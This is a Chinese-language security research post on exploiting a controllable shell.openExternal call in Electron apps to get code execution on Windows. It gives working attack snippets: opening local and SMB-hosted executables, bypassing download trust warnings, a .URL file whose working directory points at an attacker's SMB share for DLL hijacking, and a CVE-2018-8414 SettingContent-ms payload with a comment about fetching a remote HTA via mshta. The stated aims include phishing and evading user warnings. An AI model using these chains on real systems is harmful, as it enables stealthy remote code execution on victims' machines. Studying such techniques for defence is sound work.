Electron的openExternal可控利用點分析
前言
最近一直在進行有關Electron的研究,寫這篇文章的目的主要是想記錄針對Electron應用的一些攻擊面研究。
在常見的Electron應用攻擊場景中,基于XSS漏洞的進一步利用,但由于nodeIntegration限制無法require引用模塊執行系統命令。在業務場景中的preload.js可能會暴露一些攻擊面,業務中通過ipcMain監聽主進程事件,render可通過ipcRenderer調用主進程的監聽事件,調用實現上可能存在一些攻擊點。
Electron在默認禁用nodeIntegration參數的情況下,render網頁想要調用Electron主進程功能,一般是preload方式預先暴露一些electron模塊在網頁上下文中。例如如下業務代碼中,preload.js在網頁中注冊了window.Bridge對象,其中包含了ipcRenderer、clipboard模塊。
const { ipcRenderer } = require('electron');const { bridgeEvtKey, picEvtKey} = require('../config.js');const { cpImgExtRegx, getClipboardPaths, getClipboardFiles} = require('../component/util.js');
// WEB 與主程序橋接window.ccBridge = { picEvtKey, uniqueId: 1, ipcRenderer, bridgeEvtKey,
send(type, data) { const { callbackId } = this;
return new Promise((resolve) => {
ipcRenderer.on(callbackId, (event, arg) => { resolve(arg); }); // 渲染進程發送指令給主進程 ipcRenderer.send(bridgeEvtKey, { type, data, callbackId, }); }); }, // 渲染線程方法 get callbackId() { return 'cb_' + this.uniqueId++ + '_' + new Date().getTime(); }, cpImgExtRegx, getClipboardPaths, getClipboardFiles,};
Electron在main.js中監聽ipcMain事件并應答網頁傳遞的ipcRenderer指令,其中openUrl事件可以調用shell.openExternal方法,從而可以調用系統打開URL,但沒法直接利用拿到shell權限。
class Bridge {
constructor(main) { this.uniqueId = 1; this.main = main; ipcMain.on(bridgeEvtKey, async ({ reply }, { type, data, callbackId }) => { let res = null; const fun = this[type]; if (typeof fun === 'function') { res = await fun.call(this, data); } reply(callbackId, res); }); } //提供了openUrl方法 openUrl(url) { return shell.openExternal(url);
}}
本文以上述業務場景作為切入點,針對shell.openExternal打開外部鏈接的利用進行深入研究,梳理了多個windows上利用的攻擊面。
演示環境
為了方便大家理解,這里以調用shell.openExternal的demo代碼為例模擬XSS觸發過程
<html> <head> <meta charset="UTF-8"> <title>Hello World!title> head> <body> <h1>Hello World!h1> node 當前使用的node為<script>document.write(process.versions.node)script>, Chrome 為<script>document.write(process.versions.chrome)script>, 和 Electron 為<script>document.write(process.versions.electron)script>. <script>window.eval("const {shell} = require('electron');shell.openExternal('file:///');");script> body>html>
利用研究
1. 文件可落地的利用
文件可落地利用方式主要用于我們在進行im釣魚或者其他可落地文件的攻擊方式時,可以利用該方式誘導用戶下載文件,配合Electron應用有一個可控的JS代碼執行點組合可以造成RCE(前提路徑可知)
shell.openExternal可以直接通過windows系統打開該文件后綴對應的默認程序,比如說exe、jar、py等格式。
EXE方式
const {shell} = require('electron');shell.openExternal('file:///C:/Windows/System32/cmd.exe');
通過Electron調用shell.openExternal打開file:///C:/Windows/System32/cmd.exe,可以正常打開cmd.exe且無彈窗詢問,但其實這跟應用程序的簽名/下載方式/是否具備ads流等都有關系,下面會詳細描述這個問題

Jar包方式/Py方式
jar包和py文件在具備相關環境的情況下,可以直接執行,不會有彈框警告問題,雖然通過瀏覽器下載的jar包里面也含有ads流

樣例代碼:
const {shell} = require('electron');shell.openExternal('file:///C:/Users/xxxx/Downloads/burpsuite_community.jar');const {shell} = require('electron');shell.openExternal('file:///C:/Users/xxxx/Downloads/test.py');


2. 文件信任機制研究
對于打開exe、vbs等文件來說會存在一個問題,如果我們在瀏覽器通過http/https去下載它之后,雙擊它會出現一個安全警告的問題,原因是隨著XP SP2的出現,當一個文件從互聯網(即通過點擊瀏覽器中的鏈接)下載到NTFS卷時,同時會在同目錄下創建一個ADS數據流(Zone.Identifier)文件,比如test.exe對應的文件為test.exe:zone.identifier。該文件的內容被Windows 用作安全數據,以確定文件的發布者/源,所以如果我們打開不受信任的下載文件時會出現下面的問題,打開文件時彈出了一個安全警告框

這里從瀏覽器下載的test.exe舉例子,通過瀏覽器下載文件后同時會出現一個ADS數據流文件

我們可以用notepad去查看數據流的內容,可以看到里面記錄了相關的文件下載地址和referrer地址,那么這個信息是否可以作為在主機上發現了.URL可疑文件的時候的一個信息收集的點?

其中ZoneId為3表示的是從互聯網下載的
0 —— URLZONE_LOCAL_MACHINE(本地)1 —— URLZONE_INTRANNET(內網)2 —— URLZONE_TRUSTED(可信位置)3 —— URLZONE_INTERNET(互聯網)4 —— URLZONE_UNTRUSTED(不可信位置)
下載文件被標識的內容跟IE的配置有關,準確的說是和注冊表配置是有關的,下面會詳細的闡述文件信任問題的發現過程。
在Internet區域(URLZONE_INTERNE)中,安全級別(中)的加載應用程序和不安全文件的默認配置是提示,所以通過瀏覽器下載的不安全的文件會彈出安全警告,如果將提示改為啟用,那么就不會有安全警告的問題。

1) 如果將http://127.0.0.1 添加進本地Intranet域中,這個時候再去下載test.exe,可以發現并不會創建ADS數據流文件。


再去調用shell.openExternal的時候會發現沒有安全警告提示了,可以直接打開test.exe
const {shell} = require('electron');shell.openExternal('file:///C:/Users/xxxx/Downloads/test.exe');

2) 如果我們在受信任的站點區域添加http://127.0.0.1 ,默認情況下該區域的安全等級默認為中

還是會產生ADS數據流文件,但是這里的ZoneId變成了2,表示為可信位置

所以下載的應用程序不會彈出安全警告,可以直接打開exe文件

3) 如果將http://127.0.0.1 設置為受限制的站點

那么從該站點就無法下載到文件,會顯示當前的安全設置不允許下載該文件

谷歌瀏覽器會出現失敗已禁止下載的情況

上面經過研究我們通過IE瀏覽器對網站的信任配置差異對比,對注冊表的操作可以在下圖中找到答案,下面是我對ie瀏覽器的本地Intranet配置https://www.msn.com的結果

如果我們設置的是domain,那么就會在計算機\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\進行配置,因為受信任的站點的zoneTransfer為2,所以下面的https也就為2

如果我們配置的是ip地址那么就會在計算機\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges當中進行配置,其中https后面的值代表的就是ZoneTransfer的值,其實也就是/HKEY_CURRENT_USER/SoftWare/Microsoft/Windows/CurrentVersion/Internet Settings/ZoneMap/Ranges下有一個信任站點就有一個RangeN(N為1,2,3…)的記錄

所以應用程序是否會具備風險警告其實是和我們注冊表配置有關,下載的程序的站點在受信任的站點當中,點擊之后就不會有警告信息
如果不是通過瀏覽器下載得到的文件,而是通過一些命令行工具例如powershell的方式進行下載,那么得到的文件就不會含有ads流,打開文件也就不會存在信任警告問題,以下介紹僅為研究什么情況下會彈框的實踐成果
$client = new-object System.Net.WebClient$client.DownloadFile('https://oss/download/cmd.exe','C:\Users\xxxx\Desktop\cmd.exe')

還有如果把exe文件包裝在壓縮包內,然后用戶解壓壓縮包,壓縮包里面的文件不會被附加上ads流,所以點擊執行也同樣不會有彈框信任這個問題



如果應用程序自帶有效的證書簽名,雖然其本身也帶有ADS數據流也帶有URLZONE_INTERNET的標識,但是打開文件時也不會出現彈框警告


在實戰攻擊場景中,我們可能遇到以下場景導致無法利用,在經過研究之后發現可通過遠程加載的方式進行攻擊。
- 我們可控某個應用漏洞允許執行本地文件,但是無法附加任何參數
- 或者說如果通過釣魚的方式讓對方下載了exe,但是我們有個某客戶端應用的rce漏洞可以打開文件,但是會出現由于信任機制導致的彈框問題,需要用戶點擊確認才可以執行,有沒有什么方法可以替代這個讓用戶警覺的過程
- exe無法落地
3. 遠程文件加載利用
3.1 UNC方式
通過unc方式加載可以使文件不落地遠程喚起文件執行,但是如果指定打開一個exe文件還是會存在一個彈框警告,對于在滲透過程中為了盡可能減少對方的感知來說顯然是不夠的,所以在后面會敘述下如何繞過這個彈框
當我們用unc的方式去指定讓其去打開smb共享里面的exe文件(不帶ads流),但是依然會有安全警告問題
const {shell} = require('electron');shell.openExternal('file://127.0.0.1/C$/Windows/System32/cmd.exe');

通過smb打開jar/py文件卻是不會有任何警告的,情況和文件落地時的情況類似就不再多加敘述
//jar包方式const {shell} = require('electron');shell.openExternal('file://127.0.0.1/C$/Users/xxxx/Desktop/burpsuite_community.jar');//py方式const {shell} = require('electron');shell.openExternal('file://127.0.0.1/C$/Users/xxxx/Desktop/test.py');
但是這一切的一切都有個前提,對方具有python或者java環境,那如果是這些環境都沒有呢?有沒有什么比較好的替代方法?
3.2 UNC + URL方式
這里我們創建了一個test.URL文件來演示這個過程,test.URL如下所示,需要注意的就是兩個參數URL和WorkingDirectory,首先我們先設置URL指定為本地的exe,在這一小節中WorkingDirectory在這里不是重點
[InternetShortcut]URL=file:///C:/windows/system32/cmd.exeWorkingDirectory=\\127.0.0.1\C$
通過shell.openExternal打開遠程smb服務器中的.url文件
const {shell} = require('electron');shell.openExternal('file://127.0.0.1/C$/Users/xxxx/Desktop/test.url');
可以直接打開cmd窗口,不會存在警告問題,但是這里可能有人會說了,你這樣只能打開落地的cmd.exe,或者說還是沒有解決不落地打開exe的效果

那我們再測試下如果在URL文件當中引用遠程的exe程序會產生什么樣的效果,test.URL配置如下所示
[InternetShortcut]URL=file://127.0.0.1/C$/Windows/System32/cmd.exeWorkingDirectory=\\127.0.0.1\C$\temp\
然后再用electron的openExternal打開它,發現還是會存在安全警告問題

3.3 UNC + URL + DLL劫持方式
為了解決上面存在的問題,介紹下之前看到的通過url+dll劫持的方式進行繞過的方式,我們通過在URL當中指定在windows下存在dll缺陷的exe應用程序,然后我們將workDirectory指定為可控的smb共享目錄,這樣在受害者打開我們的URL文件的URL標簽中指定的文件時候,會去通過我們設定的workDirectory目錄去尋找相關的dll,這個時候只需要將我們的dll放入我們設定的smb共享目錄中就可以實現一個惡意dll的加載,URL內容如下所示
[InternetShortcut]URL=file:///C:/Windows/WinSxS/amd64_netfx-mscorsvw_exe_b03f5f7f11d50a3a_10.0.19041.1_none_99318cb064fcaf44/mscorsvw.exeWorkingDirectory=\\127.0.0.1\C$\temp\
在這里可以看到mscorsvw.exe成功的去加載了我們的smb共享里的dll

這是因為C:/Windows/WinSxS/amd64_netfx-mscorsvw_exe_b03f5f7f11d50a3a_10.0.19041.1_none_99318cb064fcaf44目錄下沒有mscorsvc.dll,所以會去我們指定的工作目錄去加載

總結來說上述的方案可以適用于
- 易受攻擊的應用程序允許執行文件但沒有參數
- 可以濫用這個漏洞來加載 file://attacker/SmbShare/random.URL
- evil.URL的結構如上述所說,找到存在dll劫持的應用程序寫在URL當中,workDirectory指定為可控的smb共享目錄
- exe加載時由于缺少dll會從遠程加載dll導致任意代碼執行
3.4 SettingContent-ms的方式
當然除了上述敘說的URL形式,在沒有打補丁的情況,我們還可以借用CVE\-2018\-8414SettingContent\-ms的方式進行利用,出現這個漏洞的原因簡單來說就是Windows 10下執行.SettingContent\-ms后綴的文件,系統并未判斷該類文件所在的路徑是否在控制面板相關目錄下,便直接執行了文件中用于控制面板設置相關的DeepLink標簽指定的任意程序,導致用戶執行系統任意目錄下的此類文件或者從網絡上下載的經過精心設計的.SettingContent\-ms文件也會直接執行其中指定的惡意程序對象,導致任意代碼執行。
const {shell} = require('electron');shell.openExternal('file://10.1.1.1/C$/share/test.SettingContent.ms');
test.SettingContent.ms的文件內容
<PCSettings> <SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent"> <ApplicationInformation> <AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanelAppID> //example:mshta https://1.1.1.1/kkk.hta <DeepLink>%windir%\system32\cmd.exe /c calc.exeDeepLink> <Icon>%windir%\system32\control.exeIcon> ApplicationInformation> <SettingIdentity> <PageID>PageID> <HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}HostID> SettingIdentity> <SettingInformation> <Description>@shell32.dll,-4161Description> <Keywords>@shell32.dll,-4161Keywords> SettingInformation> SearchableContent>PCSettings>
微軟對該漏洞發布的補丁程序對執行路徑做了判斷,只有在%AppData%\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\LocalState\Indexed\Settings\[GetUserPreferredUILanguages]或%WinDir%\immersivecontrolpanel\settings子目錄內打開SettingContent-ms后綴文件才能進入執行控制面板設置分支執行命令,所以如果我們在打了補丁的電腦上進行利用沒有放在指定的文件夾,可能會出現下面的報錯

所以極大程序上限制了我們的利用,在打了補丁的電腦中,已經獲取權限的情況下,可以這么利用網上的一款公開的工具scmwrap進行配置.SettingContent-ms后綴文件的打開方式,利用.SettingContent-ms的因為我們還是可以利用unc路徑指向它進行執行,而且不會出現安全警告問題,并且其deeplink支持傳遞參數,這樣后續在具備openExternal可控點的情況下只需要遠程指定一個.SettingContent-ms執行就可以實現rce,例如deeplink內容為調用mshta下載遠程payload執行
scmwrap工具安裝配置的就是下面的內容
ASSOC .SettingContent-ms = NewSettingContentMsFTYPE NewSettingContentMs="C:\Users\xxxx\Desktop\scmwrap.exe" "%1"
scmwrap.exe的解析原理使用的是xml解析,然后獲取DeepLink參數進行執行
ShowWindow(GetConsoleWindow(), SW_HIDE);
XmlDocument XmlDoc = new XmlDocument();
XmlDoc.Load(args[0]);
bool FoundDeepLink = false;
XmlNodeList Nodes = XmlDoc.GetElementsByTagName("DeepLink");for (int i = 0; i <= Nodes.Count - 1; i++) { ShellExecute(0, "open", "cmd.exe", "/C " + Nodes[i].InnerText.Replace("", "").Replace("\r", ""), "", 0);
Console.WriteLine("Call: " + Nodes[i].InnerText.Replace("", "").Replace("\r", ""));
FoundDeepLink = true;}
if (!FoundDeepLink) { Console.WriteLine("No deep link found");}
Console.ReadLine();
所以只要我們設置了.SettingContent-ms的執行方式,那么我們就可以在任意目錄雙擊打開它了,因為它本質上就是配置了如下內容

桌面直接執行

參考鏈接
https://blog.csdn.net/wangqiulin123456/article/details/17068649
https://github.com/joesecurity/scmwrap